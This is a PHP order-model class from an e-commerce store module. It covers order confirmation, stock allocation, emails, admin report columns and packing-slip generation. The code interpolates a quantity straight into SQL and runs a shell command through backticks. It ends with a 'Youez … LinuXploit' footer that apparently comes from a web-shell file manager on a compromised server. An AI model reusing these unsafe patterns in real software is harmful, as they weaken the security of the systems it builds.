		$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);

		$status = $this->Status();
		if ($status == 'draft' || $status == 'authorized' ||  $status == 'paid' || $refresh) {

			$info = $this->AsHandleBars();

			if (empty($this->ordernum)) $this->ordernum = $this->_generateOrderNumber();
			$payload = [
					'so_date'		=> $this->date,
//					'so_status'		=> 'confirmed',				// order has been placed
					'so_ordernum'	=> $this->ordernum,
					'so_total'		=> $info['totalamt'],		// products + freight + tax
			];
			if ($status == 'draft') {		//  || $status == 'authorized'
				$payload['so_status'] = 'confirmed';
			} elseif ($status == 'paypal') {
				$this->paymeth = $payload['so_paymeth'] = $status;
				
			}
			// update order status
			$this->date = time();
			$this->Tablename('store_order')
				 ->InsertOrUpdate([ 'so_order'		=> $this->order_id ], $payload);
				 
			// use payment provider to approve the order -- The user account is created earlier
			$params = new \StdClass;
			$params->order_id = $this->order_id;
			hook_execute('order.approve.' . $this->paymeth, FALSE, $params);
			
			$cart = $this->AsHandleBars_Items();
			// reserve stock, the stock has not left the warehouse - so actual stock level is not changed
			// test orders do not update stock!
			if (!$this->Test()) {
				foreach($cart as $cartitem) {
					$qty = $cartitem['quantity'];
					$product_id = $cartitem['product'];
					$this->Query("update `store_product` set sp_allocated=sp_allocated+$qty")
							->Where('sp_id=%d', $product_id)
							->Where('sp_usestock<>%d', 0)
							->Get();
					$this->DbErr();
				}
			}

			// process digital orders
			$this->ProcessDigitalOrders($cart, $info['totalamt']);
			
			if (!$refresh) {
				// email to seller
				$target = $settings['sales'] ?? 'do-not-reply@example.com';
				$param = [
					'template' => 'seller',
				];

				$result = $this->_sendemail($param, $target, $refresh, $target);
				// how do we show fulfilled digital orders?
			
				// email to customer
				$param = [
					'template' => 'buyer',
				];
				$result = $this->_sendemail($param, $this->email, $refresh, $target);
			}
			// will include login deets, activation key, or url
			//   which will also be listed when order is viewed
			
			// complete the order if it is all-digital
			
		} else {
			return '';		// something failed - not in recognized state
		}
		// add authorization to session cookie, so next page can add password to account
		return $this->ordernum;
		
	}
	
	public function SendTrackingEmail($trackingNumbers = []) {
		$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);
		$target = $settings['sales'] ?? 'do-not-reply@example.com';
		if (count($trackingNumbers)) {
			$track = array_shift($trackingNumbers);
			$param = [
				'template' => 'track',
				'tracking' => $track,
			];
			error_log("sending tracking email to {$this->email} - $track, reply-to: $target"); 
			$result = $this->_sendemail($param, $this->email, FALSE, $target);
			error_log(json_encode($result));
		}
	}
	
	public function ResendEmail($isSeller) {
		$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);
		$target = $settings['sales'] ?? 'do-not-reply@example.com';
		
		if ($isSeller) {
				$param = [
					'template' => 'seller',
				];
				$result = $this->_sendemail($param, $target, FALSE, $target);
				// how do we show fulfilled digital orders?
		} else {
				// email to customer
				$param = [
					'template' => 'buyer',
				];
				$result = $this->_sendemail($param, $this->email, FALSE, $target);
		}
		return $this;
	}
	
	
	protected function ProcessDigitalOrders($cart, $order_total) {
		// how many digital items, and total cost (inc tax)
		$amount = 0;
		$physical = 0; 
		$DIGITAL = [];
		foreach($cart as $cartitem) {
			if ($cartitem['sell'] != 0) {
				if ($cartitem['physical']) {
					$physical++;
				} else {
					$DIGITAL[] = $cartitem;
					$amount += $cartitem['sell'] * $cartitem['quantity'] + $cartitem['tax'];
				}
			}
		}
		if (count($DIGITAL)) {
			// process payment
			$params = new \StdClass;
			$params->amount = $amount;
			$params->partial = $physical > 0;
			$params->ordernum = $this->ordernum;
			$params->order_id = (int) $this->order_id;		// this is used to get the paypal transaction id
			if (hook_execute('order.payment.' . $this->PayMeth(), FALSE, $params)) {
			
				// if the payment has gone through, fulfill the order
				foreach($cart as $cartitem) {
					if ($cartitem['sell'] != 0 && !$cartitem['physical']) {
						// call hook with customer name and lineitem details
						var_dump($cartitem);
					}
				}
			}
		}
	}
	
	public function getUserOrders($daycount) {
		$data = [];
		// get orders
		
		$rows = $this->Query('select * from `store_order`')
					->Where('so_user_id=%d', $this->UserId())
					->Where('so_date>=%d', time() - $daycount * 86400)
					->Where('(so_status<>"draft")and(so_status<>"paypal")')
					->OrderBy('so_date desc')
					->Get();
		$orders = [];
		foreach($rows as $row) {
			$json = json_decode($row->so_json, TRUE);
			$suffix = ''; $prefix = $row->so_orderstatus;
			if (($p = strpos($prefix, "\t")) !== FALSE) {
				$suffix = substr($prefix, $p + 1);
				$prefix = substr($prefix, 0, $p);
			}
			$data[] = [
				'id'		=> (int) $row->so_order,
				'ordernum'	=> $row->so_ordernum,
				'dt'		=> (int) $row->so_date,
				'date' 		=> date('F j, Y', $row->so_date),
				'total' 	=> '$' . sprintf('%0.2f', $row->so_total),
				'name'		=> $json['name'],
				'auth'		=> hook_execute('nonce.create', FALSE, 'order_id', (int) $row->so_order, 600),
				'status'		=> $row->so_status,
				'orderstatus'	=> $prefix,
				'ordersuffix'	=> $suffix,
				'cancelrequest' => (int) $row->so_cancelrequest,
				// add freight cost 
			];
			$orders[$row->so_order] = [];
		}
		
		if (count($orders)) {
			$rows = $this->Query('select sod_order,sod_product,sod_quantity,sod_sell,sod_description from `store_order_detail`')
					->WhereIn('sod_order', array_keys($orders))
					->Get();
			
			foreach($rows as $row) {
				$order_id = $row->sod_order;
				$orders[$order_id][] = [
					'product' 	=> (int) $row->sod_product,
					'desc'		=> $row->sod_description,
					'quantity' 	=> (float) $row->sod_quantity,
					'sell' 		=> (float) $row->sod_sell,
					'slug'		=> Product_model::toSlug($row->sod_description),		// this may not exist if the product is no longer sold
				];
			}
			
			foreach($data as &$dataitem) {
				$order_id = $dataitem['id'];
				if (isset($orders[$order_id])) {
					$dataitem['cart'] = $orders[$order_id];
				}
			}
			unset($dataitem);
		}
		
		// add order details, primary image
		// add shippings, taxes
		
		// return
		//   order date
		//   order total
		//   order number
		//   first image
		return $data;
	}
	
	public function rebuild_orders() {
		$rows = $this->Query('select * from `store_order`')
					->Where('(so_status<>"draft")and(so_status<>"paypal")')
					->Get();
		foreach($rows as $row) {
			$this->LoadFromDataset($row, $row->so_order);
			$this->loadItems();
			$info = $this->AsHandleBars();
			$this->Tablename('store_order')
				 ->InsertOrUpdate([ 
					'so_order'		=> $this->order_id 
			], [
				'so_total' => $info['totalamt'],
			]);

		}
	}

	public function CustomFields($rep) {
		
		$rep->pagesize(25);

		$col = $rep->AddColumn();
		$col->name('so_date')
			->caption('Date')
			->className('so-date')
			->render([$this, '__orderDate']);

		$col = $rep->AddColumn();
		$col->name('so_ordernum')
			->className('so-ordernum')
			->caption('OrderId')
			->width(100);

		$col = $rep->AddColumn();
		$col->name('so_name')
			->className('so-name')
			->caption('Buyer')
			->width(220);
			
		$col = $rep->AddColumn();
		$col->name('delivery')
			->className('delivery')
			->caption('Delivery Address')
			->render([$this, '__orderAddress'])
			->width(440);

		$col = $rep->AddColumn();
		$col->name('so_total')
			->caption('Amount')
			->className('so-total right')
			->render([$this, '__orderAmount']);

		$col = $rep->AddColumn();
		$col->name('so_status')
			->source([$this, '__orderStatus'])
			->className('so-status')
			->caption('Status')
			->width(70);
	}
	
		// cancel request
	public function __orderStatus($item) {
		$result = $item->so_status;
		if ((int) ($item->so_cancelrequest ?? '0')) {
			$result = 'cancelreq';		// Cancellation Requested
		}
		return $result;
	}
	
	public function __orderDate($value, $item) {
		$date = gmdate('Y-m-d H:i', $value);
		return [
			'disp' => "<a href=\"/admin/fulfillment/{$item->so_ordernum}\">$date</a>", 
			'val' => (int) $value,
		];
	}

	public function __orderAddress($value, $item) {
		$json = json_decode($item->so_json, TRUE);
		if (!is_null($json)) {
			$address = $json['del_a'];
			if (!empty($json['addr2'])) $address .= ', ' . $json['addr2'];
			$address .= ', ' . $json['town'] . ', ' . $json['state'] . ' ' . $json['zip'] . ', ' . $json['country_name'];
		} else {
			$address = '(missing)';
		}
		return $address;
	}

	public function __orderAmount($value, $item) {
		return [
			'disp' => sprintf('%0.2f', $value), 
			'val' => (float) $value,
		];
	}
	
	public function OrderList($rep, $tag) {
		
		$sql = 'select *, "" as delivery from `store_order`';
		$sql = hook_execute('fulfillment.field.sql', $sql, $rep);
		$rep->Query($sql);
		
		switch($tag) {
			case 'transit':
				$rep->WhereIn('so_status', ['shipped', 'transit']);
				break;
			case 'complete':
				$rep->WhereIn('so_status', ['complete', 'Canceled']);
				break;
			case 'new':
			default:
				$rep->WhereIn('so_status', ['confirmed', 'paid', 'authorized']);
				break;
		}
		$data = $rep->Execute();
		return ['data' => $data];
	}

	public function AsPopupTracking() {
		return [
			'title' => 'Tracking Number(s)',
			'dialogClass' => 'tracking-dialog',
			'template' => 'store_tracking',
			'width' => 500,
			'ordernum' => $this->ordernum,
			'modal' => true,
			'auth' =>  hook_execute('nonce.create', FALSE, 'order_id', $this->order_id, 600),
		];
	}
	
	// currently this assumes only one package per order
	public function updateOrderStatusFromTracking($tracking) {
		$status 	= $tracking->Status();
		$status_id	= $tracking->StatusId();
		switch($status_id) {
			case 100:			// label created
				$this->OrderStatus('Preparing for Shipment');
				if ($this->Status() != 'canceled') $this->Status('packed');
				break;
			case 200:			// in transit - to do: show estimated date
				$det = $tracking->Detail();
				$expected = $det['expectedDelivery'] ?? '';
				$status = 'On the Way';
				if ($expected != '') {
					$dt = strtotime($expected . 'Z');
					$status .= "\tExpected " . date('l, F j', $dt);
				}
				$this->OrderStatus($status);
				if ($this->Status() != 'canceled') $this->Status('shipped');
				break;
			case 300:			
				$this->OrderStatus('Out for Delivery');
				break;
			case 400:			
				$this->OrderStatus('Delivered');
				if ($this->Status() != 'canceled') $this->Status('complete');
				break;
		}
		$this->Update();
	}
	
	public function Cancel($reason, $refund) {
		$key = $reason['value'];
		$value = '';
		foreach($reason['options'] as $item) {
			if ($item['key'] == $key) {
				$value = ' - ' . $item['value'];
				break;
			}
		}
		$this->Status('canceled')
				->CancelReason($key)
				->Refund($refund['value'])
				->OrderStatus('Canceled' . $value)
				->Update();
		// send email
	}
	
	private function _generateHtml() {
		$host = $this->HostName();
		$content = file_get_contents($host . '/~/store/packingslip/' . $this->OrderNumber());		// this is mogrified
		return $content;
	}
	
	private function _generatepdf() {
		$content = $this->_generateHtml();
		
		$file = tempnam(sys_get_temp_dir(), 'slip');
		file_put_contents("{$file}.html", $content);
		$weasel = static::WEASEL;
		$commandline = "$weasel -D 300 {$file}.html {$file}.pdf";
		$text = `$commandline`;
		@unlink($file);
		@unlink("{$file}.html");
		$result = file_get_contents("{$file}.pdf");
		@unlink("{$file}.pdf");
		return $result;
	}

	public function getCompany() {
		$settings = $this->SettingGet('config.module_info', NULL);
		return $settings['companyname'] ?? 'Acme Corporation';
	}
	
	
	public function printPackingSlip($auth, $print) {
		
		if ($print) {				// add it as an attachment

			$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);
			$eprint = $settings['pslip_print'] ?? '';
			if ($eprint == '') {
				return [
					'result' => 63902,
					'message' => 'No eprint email address specified',
				];
			}

			// create the html
			$printed_time = time();
			$content = $this->_generateHtml();
			$automated_sender = $this->getSender();
			// send email
			$m = new \MailObject();
			$data = [
				'companyname' 	=> $this->getCompany(),
				'ordernum'		=> $this->OrderNumber(),
			];
			$m->subject('Packing Slip ' . $this->OrderNumber())
				->body($content)
				->to($eprint)
				->from($automated_sender)
				->data($data);
//				->addAttachment($pdf, $this->OrderNumber() . '.pdf');
				
			if ($eprint == 'screen') {
				$m->to('do-not-reply@example.com');
				hook_execute('email.transform', $m);		// add handlebars
				$result = hook_execute('email.prepare', NULL, $m);
				$result = [
					'result' => 0,
					'body' => "<pre>" . htmlspecialchars($result['body']) . "</pre>",
				];
;				header('Content-type: application/json');
				die(json_encode($result, JSON_UNESCAPED_SLASHES));

			} else {
				$sendresult = $m->Send();
			}
			if (is_string($sendresult)) {
				return [
					'result' => 63901,
					'message' => 'Unable to send email: ' . $sendresult,
				];
			} else {
				// update last printed
				$this->TableName('store_order')
					->InsertOrUpdate([
						'so_order' 	 => $this->order_id,
					], [
						'so_printed' => $printed_time,
				]);
				
				return [
					'result' => -9999,
					'message' => 'Email successfully sent to the printer',
				];
			}

		} else {					// otherwise display inline
			return [
				'result' => 0,
				'redirect' => '/~/store/packingslip/' . $this->OrderNumber() . '/view?auth=' . rawurlencode($auth),
			];
		}
	}
	
	public function downloadPackingSlip() {
		$ordernum = $this->OrderNumber();
		$pdf = $this->_generatepdf();
		header('content-type: application/pdf');
		header("Content-Disposition: inline; filename=\"{$ordernum}.pdf");
		die($pdf);
	}
	
	public function generateFinalPackingSlip($md5_template) {
		
		// determine packing slip handler
		$handler = $GLOBALS['loader']->getRegisteredHandler('register.packingslip', $md5_template);
		if (is_null($handler)) {
			die('Requested packing slip template is no longer defined');
		}
		
		// get the $data
		$data = $this->AsHandleBars(TRUE);
		$data['address'] 		= $this->asJson_Delivery();
		$data['company_name']	= $this->company_name;
		$settings = $this->controller->GetModuleSettings();
		$data['coemail'] 		= $settings['sales'] ?? '';
		$data['hostname'] 		= $this->hostname;
		$data = hook_execute('cart.display', $data, 'fulfill');

		$data['carrier'] 		= $this->_freight;
		$data['carrier_abbr']	= strtoupper($this->_freight['source']);
		$data['carrier_service']= $this->_freight['caption'];
		
		// 'page-break-after: always

		$param = [ &$data ];										// get the html from the module
		$html = call_user_func_array($handler->entrypoint, $param);	// data may be massaged to fit template
		$data = $param[0];
		
		// generate html using lightncandy
		$renderer = $this->controller->LoadHandlebars($html);

		// build the html from the handlebars template
		$html = $renderer($data);

		// load every css file...
		$assembled_css = '';
		// add pkpcore css?
//		$assembled_css = file_get_contents(HOME . '/modules/pkpCore/static/mail.css');
		// add theme css?
		$items = $this->controller->GetInclude(FALSE);
		foreach($items as $item) {
			if ($item['type'] == 'css') {
				if ($item['filename']) {
					$css = file_get_contents($item['filename']);
					$assembled_css .= "\n" . $css;
				}
			}
		}

		// mogrify
        $html = CssInliner::fromHtml($html)->inlineCss($assembled_css)->render();
		
		// output
		return $html;
	}

	public function LoadOrderByLine($line_id) {
		$row = $this->Query('select * from `store_order_detail`')
					->Where('sod_id=%d', $line_id)
					->Get()
					->First();
		if (!is_null($row) && !$row->empty()) {
			$orderid = $row->sod_order;
			$this->OrderId($orderid);
			return $row;
		} else {
			$this->order_id = 0;
			$this->ordernum = '';
			return NULL;
		}
	}

	public function	AssignToTempUser() {
		$unverifiedUser = intval($_SESSION['unverified'] ?? '0');
		$key = $unverifiedUser ? $unverifiedUser : NULL;
		$email_hash = md5(strtolower($this->email));
		$payload = [
				'parent_id' => 0,
				'level' 	=> 1,
				'primary_email' => $this->email,
		];
		$nameinfo = hook_execute('name.parse', FALSE, $this->name);
		if ($nameinfo !== FALSE) {
			$payload['name_first'] = $nameinfo->getFirstName();
			$payload['name_last'] = $nameinfo->getLastName();
		} else {
			$payload['name_first'] = $this->name;
		}

		// if we have used this email before, load the old unverified details. Since the email address has to be unique in source table
		// don't autoload the addresses
		$info = $this->Query('select us_user_id from `users_source`')
					->Where('email_hash=%s', $email_hash)
					->Where('us_source=%s', 'internal')
					->Where('verified=0')
					->First();
		$this->DbErr();
		error_log(json_encode($info));
		if (!$info->empty()) {
			$id = $info->us_user_id;
			$key = NULL;
		} else {
			// Create/Update user in table
			$info = $this->TableName('users')
				->AutoInc('user_id')
				->InsertOrUpdate([ 'user_id' => $key ], $payload, ['created' => time()]);
				
			$id = $info->user_id;
		}
		$_SESSION['unverified'] = $id;		// reuse this entry if login changed
		
		// create/Update unconfirmed internal entry in db
		$this->TableName('users_source')
				->InsertOrUpdate([
					'us_source'		=> 'internal',
					'us_user_id'	=> $id,
				],[
					'us_hash'		=> md5($email_hash),
					'us_identifier'	=> $email_hash,
					'email'			=> $this->email,
					'email_hash'	=> $email_hash,
					'verified'		=> 0,
					'name_first'	=> $payload['name_first'],
					'name_last'		=> $payload['name_last'],
				]);
		
		return $id;

	}
	
	// a coupon code or similar has changed
	public function Recalculate() {
		hook_execute('order.recalculate', $this, $this->HEADER);		// call the hook
		$this->Update();								// save record if changed
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit